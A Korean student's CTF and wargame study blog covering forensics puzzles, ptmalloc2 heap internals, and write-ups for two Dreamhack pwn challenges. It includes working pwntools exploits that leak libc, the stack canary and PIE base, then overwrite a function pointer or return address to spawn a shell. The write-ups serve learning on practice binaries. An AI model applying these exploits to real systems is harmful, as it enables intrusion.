[1주차] 수업 실습 문제 풀이

  1. diary.mp3
    HxD로 열어봤는데 특별한 건 없었다.
    스터디 진도도 안 나갔는데 어떻게 풀었을까 고민했는데 속성 참고하는 거였다.

Image

속성에 자세히를 보면 지휘자가 flag임을 알 수 있다.

  1. whysoserious.png

Image

문제 이미지의 헤더 시그니처는 89 50 4E 47 0D 0A 1A 0A

Image

푸터 시그니처는 FF D9라서 PNG의 푸터 시그니처와 맞지 않다.
하지만 위에 첨부한 표 이미지를 보면 FF D9는 JPEG의 푸터 시그니처임을 알 수 있다.
때문에 JPEG의 헤더 시그니처를 찾아야 한다.

Image

ff d8을 검색했는데 FF E0 또는 FF E8이 보이지 않는다.

Image

해당 시그니처도 있길래 검색 결과의 세번째부터 새 파일에 옮겨보기로 했다.
flag.jpg로 저장하면

Image

플래그가 나온다.

[HSpace] empty

파일은 하얀 png 파일이다

지금까지 관련해서 풀어본 png는..

  1. 스테가노그래피
  2. PE파일 시그니처 변경

Look closely, because the closer you think you are, the less you will actually see.

라길래 일단 확대를 해보았다 일반 윈도우 사진 보기로는 5000%만 확대되는데.. 픽셀까지 보이면 뭐가있을까 싶어서 찾아보려고 했는데 다 확대에 한계가 있어서 pass 그리고 같이 푸는 동기가 뭔가 색이 다르다고 했다 -> 스테가노그래피 느낌이..

스테가노그래피인가 싶어서 Stegsolve라는 툴로 이미지를 열고 화살표로 슥슥 넘기다가 큐알을 발견했다.

그냥 진짜 나우유씨미 공식 영상이라 이게 아닌가 싶었다. 큐알 관련한 ctf 라이트업을 찾아보다가 QRazyBox 사이트를 찾았다.

해당 사이트에 들어가서 tool > Extract QR Information을 누르니까 string에 플래그가 떴다.

uaf_overwrite

Image

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

1. human_func()
Human 구조체 동적 할당
name, weight, age 입력
할당한 메모리 해제 -> uaf 발생

2. robot_func()
Robot 구조체 동적 할당
Human 구조체와 다른 건 long 자료형 선언이 없고 void 존재
이를 long처럼 4바이트로 맞춰줘야 비슷한 크기로 인식해 같은 메모리 할당해줌
fptr를 4바이트로 맞추기 //가능한가? 주소값을 작성하려면 64비트라서 8바이트인데..

3. custom_func()
9칸에 원하는 size만큼 할당하고 data 작성 가능함

도커 파일 깔고 pwndbg, pwntools, onegadget 깔았음
앞에 두 개는 포스트한 적 있고 onegadget은 다음 명령어 입력

apt install ruby
gem install one_gadget

—-아래는 라업.. 내가 캐치 못한 내용만 적음
이미 Human과 Robot 구조체는 크기가 같다네요..
그럼 fptr이 자유로워짐 이 변수에 쉘이든 뭐든.. flag 얻는 창구가 됨
custom_func은 0x100이상 크기 갖는 청크 할당, 해제 가능
이부분도 uaf 발생

익스플로잇 설계

Robot.fptr 값을 원가젯 주소로 덮음

1. 라이브러리 릭
uaf 이용해서 libc 매핑 주소 구하기
ptmalloc2의 unsorted bin 특징 이용..

unsorted bin에 처음 연결되는 청크.. libc 영역의 특정 주소와 이중 원형 연결 리스트 형성..
-> fd와 bk 값으로 libc 영역의 특정 주소 가짐
unsorted bin에 연결된 청크 재할당 -> uaf로 fd나 bk 값 읽기 -> libc 영역 특정 주소 get.. 오프셋 빼면 libc 베이스 주소 get..

custom_func 함수:
0x410 이하 크기 청크는 tcache에 먼저 삽입, 이보다 큰 청크를 해제해서 unsorted bin에 연결->재할당->uaf 값 읽기
주의: 해제할 청크와 탑 청크 맞닿으면 안됨.. 병합 때문!

  1. 탑 청크와 맞닿지 않도록 0x510 크기 청크 두 개 생성
  2. 처음 생성한 청크 해제
  3. fd와 bk 값 관찰
    위 실습 진행을 하려면 사전에 설명했던 Dockerfile 빌드해야 하는데 안되길래
    워게임에 있는 Dockerfile로 구축하고 pwntools, pwndbg, one_gadget 설치해줌

Image

  1. 0x500만큼 할당 후 a 입력
    Free idx는 -1 입력 -> 아무것도 free되지 않음
  2. 0x500만큼 할당 후 b 입력
    Free idx는 0 입력 -> 1에서 할당한 청크 free

이후에 heap 명령어 쳐서 청크 정보 봐야 하는데
실습 환경 진짜 오류 오지게 남
문서화로만 드감……………………

Image

위 그림 살펴보기
3250이 첫번째 청크
allocated chunk에 있는 3760이 두번째 청크
첫번째 청크의 fd와 bk.. 0x7ffff7dcdca0
vmmap 명령어로 살펴보자

Image

짤렸지만 뒤에 File이 /home/dreamhack/libc-2.27.so +0xca0임
-> libc 영역에 존재하는 주소
여기서 libc가 매핑된 주소 빼면 오프셋을 구할 수 있다.

Image

여기도 짤렸지만 /home/dreamhack/libc-2.27.so 파일 매핑 주소는 0x7ffff79e2000

0x7ffff7dcdca0 - 0x7ffff79e2000 = 오프셋

2. 함수 포인터 덮어쓰기
Human의 age와 Robot의 fptr 위치 동일
age에 원가젯 주소 입력

익스플로잇 코드

1. 라이브러리 릭

from pwn import *

p = process('./uaf_overwrite')

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

Image

도커에 루드 권한으로 접속해야 vi 파일이 저장된다.. (왜인지는 모르겠음)

2. 함수 포인터 덮어쓰기

# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)

p.interactive()

Image

Use After Free

Background: ptmalloc2

Memory Allocator: 메모리를 동적으로 할당하고 해제하는..
위를 구현하기 위한 알고리즘에 따라 여러 종류 존재..
리눅스는 ptmalloc2 사용
메모리 해제 -> 그 메모리 특징 기억 -> 유사 메모리 요청 -> 기억해둔 특징으로 빠르게 반환
GLibc 2.26부터 도입된 tcache와 관련된 공격 기법

…일단 실습 환경 구축이 안된다
문서화 하고 나중에 2회독하면서 다시……………..%……..다시 해보는 걸로…

ptmalloc: gLibc에 구현됨
컴퓨터의 전체 메모리 한정적..

ptmalloc의 목적

  1. 메모리 낭비 방지
  2. 빠른 메모리 재사용
  3. 메모리 단편화 방지

1. 메모리 낭비 방지
메모리 할당 요청 -> 해제된 것들중 재사용 탐색
요청된 크기와 같은 크기가 있다면 재사용

2. 빠른 메모리 재사용
가상 메모리 공간 매우 넓음!
특정 메모리 공간을 해제한 이후에 이를 빠르게 재사용하려면
해제된 메모리 공간 주소 기억해야함 -> tcache 혹은 bin의 연결 리스트에 정보 저장..

3. 메모리 단편화 방지
내부 단편화: 할당한 메모리 공간 안 실제 데이터가 너무나도 적음 -> 공간이 너무 남음
외부 단편화: 할당한 메모리 공간 간의 거리(틈)이 너무 큼
이를 해결하기 위해 정렬(Alignment), 병합(Coalescence), 분할(Split) 사용
64비트 환경에서 메모리 공간 16바이트 단위..
16바이트로 정렬..

메모리를 재사용하기 위해서 병합, 분할도 존재

ptmalloc의 객체

1. 청크
ptmalloc이 할당한 메모리 공간을 말함.. 헤더와 데이터로 구성
헤더: 필요한 정보
데이터: 사용자가 입력한 데이터

헤더중에는 청크의 상태를 나타내므로 in-use와 freed(해제) 헤더 구조가 다름

이름 크기 의미
prev_size 8 인접한 직접 청크의 크기
//청크 병합 시 사용
size 8 현재 청크의 크기
//64비트 환경에서, 사용중인 청크 헤더 크기 16바이트
//사용자가 요청한 크기 + 16바이트
flags 3비트
(나머진 다 바이트)
size의 하위 4비트 의미 없음 (마지막은 0이겟디)
//왜인가 찾아봤더니 8과 16배수 2진수 변경하면 하위 3bit 사용 X
3bit는 A, M, P로 사용

이때 P는 prev-in-use로 병합이 필요한지 판단
fd 8 연결 리스트에서 다음 청크
bk 8 연결 리스트에서 이전 청크

2. bin
사용이 끝난 청크들이 저장되는 객체
ptmalloc 128개의 bin 정의..
종류는 smallbin(62), largebin(63), unsortedbin(1), 남은 2개는 사용 X

1) small bin
32바이트 이상 ~ 1024 바이트 미만..
하나의 small bin에는 같은 크기 청크만 보관..
index가 1 늘어나면 청크 크기는 16바이트 컺ㅁ
smallbin[0]가 32바이트라면 smallbin[1]은 48바이트

small bin은 원형 이중 연결 리스트(circular doubly-linked list)
먼저 해제된 청크 -> 먼저 재할당… FIFO
청크를 추가하거나 꺼낼 때 unlink 과정 필요
smallbin 청크들은 병합 대상.. -> consolidation

2) fast bin
작은 청크들이 빈번하게 할당, 해제됨..
32바이트 이상 ~ 176 바이트 이하 크기의 청크
16바이트 단위로 10개의 fast bin 존재
단일 연결 리스트.. -> unlink 과정 필요 없음
LIFO 방법으로 후입선출
fast bin은 서로 병합되지 않음

3) large bin
1024 바이트 이상의 크기 청크들 보관
총 63개
largebin은 크기가 정해져 있지 않고 범위로 따짐
ex) largebin[0]은 1024~1088(미만), largebin[32]는 3072~3584(미만)
재할당 요청 시 크기가 가장 비슷한 청크 할당
-> 이 과정을 빠르게 하기 위해 largebin 안의 청크를 내림차순으로 정렬
이중 연결 리스트이므로 unlink
병합의 대상 //unlink들은 병합의 대상이 되는건가..? 맞다고 함 unlink에서 fd, bk를 교체를 거침

4) unsorted bin
하나만 존재 -> fastbin에 들어가지 않는 모든 청크 들어감 -> 이후에 small, large 분류
원형 이중 연결 리스트, 내부 정렬 필요 없음 //걍 약간 아무거나 넣어놓는 맨 아래 서랍 같은 느낌..인데 사진은 맨 위인데 고정적인건가?

smallbin 크기 요청: fastbin, smallbin 탐색 -> unsortedbin 탐색
largebin 크기 요청: unsortedbin 탐색 -> largebin 탐색

3. arena
fastbin, smallbin, largebin 등의 정보를 모두 담고 있는 객체
멀티 쓰레드 환경에서 레이스 컨디션을 막기 위해 arena에 락
*레이스 컨디션: 어떤 공유 자원을 여러 쓰레드 혹은 프로세스에서 접근할 때

최대 64개의 arena 생성 가능
-> 그렇지만 과도한 멀티 쓰레드 환경에서는 병목 현상 발생..

한 쓰레드에서 공유 자원에 락 걸면.. 다른 쓰레드는 락이 풀릴 때까지 대기..
락은 쓰레드를 무제한으로 대기..
근데 이게 쓰레드가 과다하게 많아지면 병목 현상
대표적으로 데드락..

4. tcache
각 쓰레드에 독립적으로 할당되는 캐시 저장소 지칭
glibc 2.26에서 도입.. 멀티 쓰레드 환경 더욱 최적화된 메모리 관리 메커니즘

각 쓰레드는 64개의 tcache
단일 연결 리스트… 하나의 tcache는 같은 크기의 청크만 보관

tcache에 32~1040바이트 이하의 크기 청크 보관
이 범위 안 청크는 할당/해제 시 tcache 먼저 조회..
tcache가 가득 차면 적절한 bin으로 분류

Memory Corruption: Use After Free

메모리 참조에 사용한 포인터를 메모리 해제 후에 적절히 초기화하지 않음 -> 해제한 메모리를 초기화하지 않고 다음 청크에 재할당
그대로 옮겨 적었는데 배우면서 다시 정리해야될듯..
-> 브라우저 및 커널에서 자주 발견됨.. 익스플로잇 성공률도 높은 편 //ㅎㅎ 잘 배워서 리얼월드에서 취약점 찾고 싶다

Dangling Pointer

Dangling Pointer: 유효하지 않은 메모리 영역 가리키는 포인터

malloc의 동작

malloc 함수의 리턴값: 할당한 메모리 주소
포인터 선언 후 malloc의 리턴값을 포인터에 저장, 이후 포인터 참조로 메모리 접근

free의 동작

위 malloc과 다르게 청크를 ptmalloc에 반환만 하고 포인터 초기화 X
때문에 덩그러니 남은 포인터는 Dangling Pointer가 됨

dangling pointer가 무조건적으로 취약한 것은 아니지만 그렇게 사용될 수 있음
아래 코드는 Dangling Pointer의 위험성을 보여줌

// Name: dangling_ptr.c
// Compile: gcc -o dangling_ptr dangling_ptr.c
#include <stdio.h>
#include <stdlib.h>

int main() {
  char *ptr = NULL;
  int idx;

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        if (ptr) {
          printf("Already allocated\n");
          break;
        }
        ptr = malloc(256);
        break;
      case 2:
        if (!ptr) {
          printf("Empty\n");
        }
        free(ptr);
        break;
      default:
        break;
    }
  }
}

free(ptr)에서 포인터 ptr 초기화 X

Use After Free

해제된 메모리에 접근할 수 있을 때 발생하는 취약점
malloc과 free는 메모리의 데이터를 초기화하지 않는다
-> 새로 할당한 청크 프로그래머가 초기화하지 않으면, 메모리에 남아있던 데이터 유출 가능

// Name: uaf.c
// Compile: gcc -o uaf uaf.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct NameTag {
  char team_name[16];
  char name[32];
  void (*func)();
};

struct Secret {
  char secret_name[16];
  char secret_info[32];
  long code;
};

int main() {
  int idx;

  struct NameTag *nametag;
  struct Secret *secret;

  secret = malloc(sizeof(struct Secret));

  strcpy(secret->secret_name, "ADMIN PASSWORD");
  strcpy(secret->secret_info, "P@ssw0rd!@#");
  secret->code = 0x1337;

  free(secret);
  secret = NULL;

  nametag = malloc(sizeof(struct NameTag));

  strcpy(nametag->team_name, "security team");
  memcpy(nametag->name, "S", 1);

  printf("Team Name: %s\n", nametag->team_name);
  printf("Name: %s\n", nametag->name);

  if (nametag->func) {
    printf("Nametag function: %p\n", nametag->func);
    nametag->func();
  }
}

위 코드는 UAF 취약점이 있는 코드이다. 구조체 NameTag과 Secret 존재
1. Secret은 유출하면 안되는 구조체.
main함수를 보면 malloc을 통해 Secret 포인터 할당..
이후 name, info, code 입력하고 free로 해제..
2. nametag도 malloc으로 메모리 할당
nametag 요소도 입력하고 출력해줌
nametag->func이 존재하면 해당 func의 주소를 출력하고 호출
3. 위 코드를 실행해보면 다음과 같은 결과가 나옴

Name으로 secret_info의 문자열 출력..
값을 입력한 적 없는 함수 포인터가 0x1337 가리킴

uaf 동적 분석

ptmalloc2는 할당 요청 -> 요청된 크기와 비슷한 청크 bin 혹은 tcache에 있는지 확인
if 있다면, 재사용
Nametag와 Secret은 같은 크기 구조체..
secret 해제 후 nametag 할당 -> 같은 메모리 영역 사용!
free가 메모리 안 데이터까지 초기화 해주지 않으므로, nametag에 secret 일부가 남아있다

동적 분석에서 해야할 것
gdb를 이용하여 secret 해제 직후 secret이 사용하던 메모리 영역 데이터 관찰

위 부분이 secret free하는 부분..
Free chunk를 보면, 0x405290이 secret에 해당하는 청크..
현재 tcache에 들어가 있음(해제되었기 때문에)

0x405000은 tcache와 관련된 공간..
tcache_perthread_struct 구조체에 해당.. libc 단에서 힙 영역 초기화할 때 할당하는 청크

여기까지 하고 그냥 잤다
이후 실습이 해제된 메모리 영역 출력하는 건데 아래와 같이 청크 주소가 바뀌었다(참고바람)

0x405290이 해제된 청크
0x52b0에 뭔가 똥값이 있는데 뭔지 함 보자

secret_name은 rd, bk 값으로 초기화되었지만,
secret_info 부분은 그대로 존재.. 정보 유출 주의..

다음 print문으로 중단점 걸기
nametag->team_name에 security team 입력됨
nametag->name에는 secret_info 일부분 존재
nametag->func위치에 secret->code에 대입했던 값 남아있음
이값이 0이 아니라서 segmentation fault 발생

[드림핵] repeat service

Image

// gcc -o main main.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void win() {
    system("/bin/sh");
}

int main() {
    initialize();

    char inp[80] = {0};
    char buf[1000] = {0};

    puts("Welcome to the Repeat Service!");
    puts("Please put your string and length.");

    while (1) {
        printf("Pattern: ");
        int len = read(STDIN_FILENO, inp, 80);
        if (len == 0)
            break;
        if (inp[len - 1] == '\n') {
            inp[len - 1] = 0;
            len--;
        }

        int target_len = 0;
        printf("Target length: ");
        scanf("%d", &target_len);

        if (target_len > 1000) {
            puts("Too long :(");
            break;
        }

        int count = 0;
        while (count < target_len) {
            memcpy(buf + count, inp, len);
            count += len;
        }

        printf("%s\n", buf);
    }
    return 0;
}

코드 읽기

  1. win() 함수 존재 -> system(“/bin/sh”) //무언가를 이값으로 덮어야 하는 건가?
  2. memcpy에서 버퍼 오버플로우 존재.. buf보다 len이 더 크다면.. buf 이후 범위까지 덮어짐
  3. buf가 초기화되지 않아서 이전의 buf가 이후의 buf보다 길다면, 이후의 buf로 덮고 남은 부분도 그대로 출력
Stack Frame Address
ret 0x8
sfp(rbp) 0x8
canary 0x8
buf 1000
inp rbp-0x440 (0x440이 1088, inp가 80차지하고 buf가 1000 canary가 8 차지하면 1088 채워짐)
count rbp-0x444
len rbp-0x448

위는 스택프레임이다.
canary 릭 가능하지 않을까…?
ㄴ해봤는데 안된다

  • 스택프레임 오프셋 계산을 잘못해서 안되는 거였다
    릭하고 카나리 넣고 ret win함수로 덮어쓰면 되지 않을까……..?

win 함수를 어떻게 구하는가..?
실제로 디버깅해보면 win함수는 실행할 때마다 바뀐다(PIE에 의해)

실행할 때마다 gdb로 print win한 결과

PIE 우회는 아래 두 가지 방법이 있다

  1. 코드 베이스 구하기
  2. partial overwrite

———아래부터는 라업 참고—————-
카나리와 PIE base값으로 win을 호출하는 게 문제의 목표(일단 시나리오 구상은 맞혔다는 것에 의의를 두기로..)

count >= target_len이 되었을 때, while문 멈춤 길이 3짜리 문자열과 target_len=7로 실행, count 0->3->6->9, 9가 되면 while문 멈춤 그러나 buf에는 7바이트가 아닌 9바이트로 작성됨 이를 계산해서 릭 1. 카나리 릭 buf 1000을 다 채우고 카나리의 \x00 채워줘야 하므로 1001 바이트 써줘야 함 1001=7*11*13 aaaaaaa를 target_len=1000 반복하면 count가 0->7->14->21..->994->1001 딱 맞게 입력 ![Image](https://blog.kakaocdn.net/dna/EdffF/btsFhgiKAcT/AAAAAAAAAAAAAAAAAAAAANlFoAhwJ0ricvu4v8RDtRiiwkUCBm4xQgcPdRDFhLVn/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=PuzS1xgmV4S%2BudDKCYDBHA0n5N4%3D) 2. PIE 베이스 주소 구하기 도커 환경에서 실행 필수.. 그냥 하면 glibc 문제 생김 라이트업에서 바이너리 실행 후 rbp를 보라는데 안된다 컨테이너에 gdb를 깔아봤는데도 안되길래 컨테이너에서 실행중인 바이러니 호스트에서 gdb 분석을 써보았다 ![Image](https://blog.kakaocdn.net/dna/be3flh/btsFkJqUoz7/AAAAAAAAAAAAAAAAAAAAAHFU1Nh42-V2pNRXuD434jtaATPFfpgD6N8aBEEkShoP/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=%2Fotlrcl9aYiBX6U5u2jgKNgqnl0%3D) 창 하나는 컨테이너 접속해서 main 실행하고 ![Image](https://blog.kakaocdn.net/dna/bDy5nG/btsFhVZQwQa/AAAAAAAAAAAAAAAAAAAAAFMmQMnkWExYmWPQQOXdG6041uot5kHzCkpEcd8KZYp3/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=AS550bRPJjga1c0FEH5AgCJEsk4%3D) 호스트 창을 하나 더 추가해서 아래 명령어로 PID 찾기 ```bash ps -ef | grep main ``` ![Image](https://blog.kakaocdn.net/dna/NTFWF/btsFlT7M3OX/AAAAAAAAAAAAAAAAAAAAACFWPlPSRyhc95Fm7gWL9-uw46nzJrg7DD_L6K0p50tP/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=EWopiBZhV5FWqNk3FU2ZFJfKOlk%3D) ```bash sudo gdb -p ``` 이러면 gdb가 켜짐 pwndbg를 이용하려면 아래와 같이 작성 ```bash source ``` ![Image](https://blog.kakaocdn.net/dna/sPYRi/btsFiuAT0NO/AAAAAAAAAAAAAAAAAAAAAHNXQ-UtDD1UmGi92_mTg9AFEZ1_UD0FnGORHfkevBTZ/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=z83DAIilVnWVTkWEtqJ7INwr%2F9o%3D) 어.. 근데 생각해보니까 이건 이미 pattern까지 실행 된 후 디버깅이라 소용 없었다 그래서 컨테이너에 gdb 다시 깔았는데 이번엔 됐다(pwndbg, gdb가 오류 났던 거 같다) ```bash sudo docker exec -u root -it my_docker_container /bin/bash ``` 위 명령어로 root 권한 접속 후 ```bash apt-get update apt-get install gdb -y apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh ``` 위 명령어를 차례대로 입력해주면 gdb, pwndbg가 다운된다 ![Image](https://blog.kakaocdn.net/dna/CsHU0/btsFin9BNAB/AAAAAAAAAAAAAAAAAAAAAGq35Aac8HWJTLjAVymkB3rGovFbH8TnWynwHdtpmrX6/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1769871599&allow_ip=&allow_referer=&signature=j%2BjducewU7O09vYt824CIO2guBE%3D) rbp+0x18(한줄 0x10과 0x8) 부분이 main 0x18= 24 24+8+1000=1032 1000+8은 rbp 여기에 +24 하면 main 주소 3. Overwrite buf(1000)+카나리(8)+rbp더미(8)+ret(8)=1024 4. 익스플로잇 코드 vi와 pwntools를 설치해줘야 한다 ```bash apt-get update apt-get install vim ;중간에 y 한 번 ``` ```bash $ apt-get update $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential $ python3 -m pip install --upgrade pip $ python3 -m pip install --upgrade pwntools ``` ```python #!/usr/bin/env python3 import sys from pwn import * BINARY_PATH = './main' p = remote('host3.dreamhack.games', 10732) elf = ELF(BINARY_PATH) def send(s, ln=1000): p.sendlineafter(b': ', s) p.sendlineafter(b': ', str(ln).encode()) return p.recvuntil(b'\nPattern')[:-8] # 1001 = 7 * 11 * 13 canary = b'\x00' + send(b"a" * 7)[-8:-1] # rbp is 1 print(f"Canary: {canary[::-1].hex()}") # 1032 = 8 * 3 * 43 main_addr = int.from_bytes(send(b"a" * 43)[-6:], 'little') print(f"main_addr: {main_addr:x}") win_addr = main_addr - elf.symbols['main'] + elf.symbols['win'] print(f"win_addr: {win_addr:x}") # 1024 = 2^10 send(b"a" * 8 + canary + b"\x00" * 8 + p64(win_addr + 5)) p.sendlineafter(b': ', b'a') p.sendlineafter(b': ', b'1001') p.interactive() ``` 1. send 함수 카나리와 main 주소를 받을 때 쓰는 함수이다. 첫번째 매개변수로 pattern을 받고, 두번째 매개변수로 len=1000입력한다. \nPattern까지 받고 해당 부분(\nPattern)을 지워주기 위해 [:-8]로 설정해준다. 2. canary 릭 위에서 설명했던 것처럼 7개의 'a'로 1000 입력해준다. 3. main 함수 구하기 43개 'a'를 입력해주면 count가 0->43->...->989->1032(buf에서 main까지 거리) 이러면 main 주소를 받을 수 있다. 4. win 함수 구하기 main 주소 - elf.symbols['main'] = 코드 베이스 주소 코드 베이스 주소 + elf.symbols['win'] = win 주소 5. overwrite 'a'*8+canary(8)+sfp(8)+win(8) 총 32바이트 buf에서 ret까지 1000+8+8+8=1024 나머지가 없으므로 그대로 입력해주면 각 위치에 알맞게 자리함 드림핵 마저 다 하면 ROP와 PIE 부분을 복습해야할 거 같다 도커를 이용해서 문제 푸는 게 처음이라 이부분에서 시간을 너무 잡아먹었다.. 많이 풀어보고 익숙해져야 할 거 같다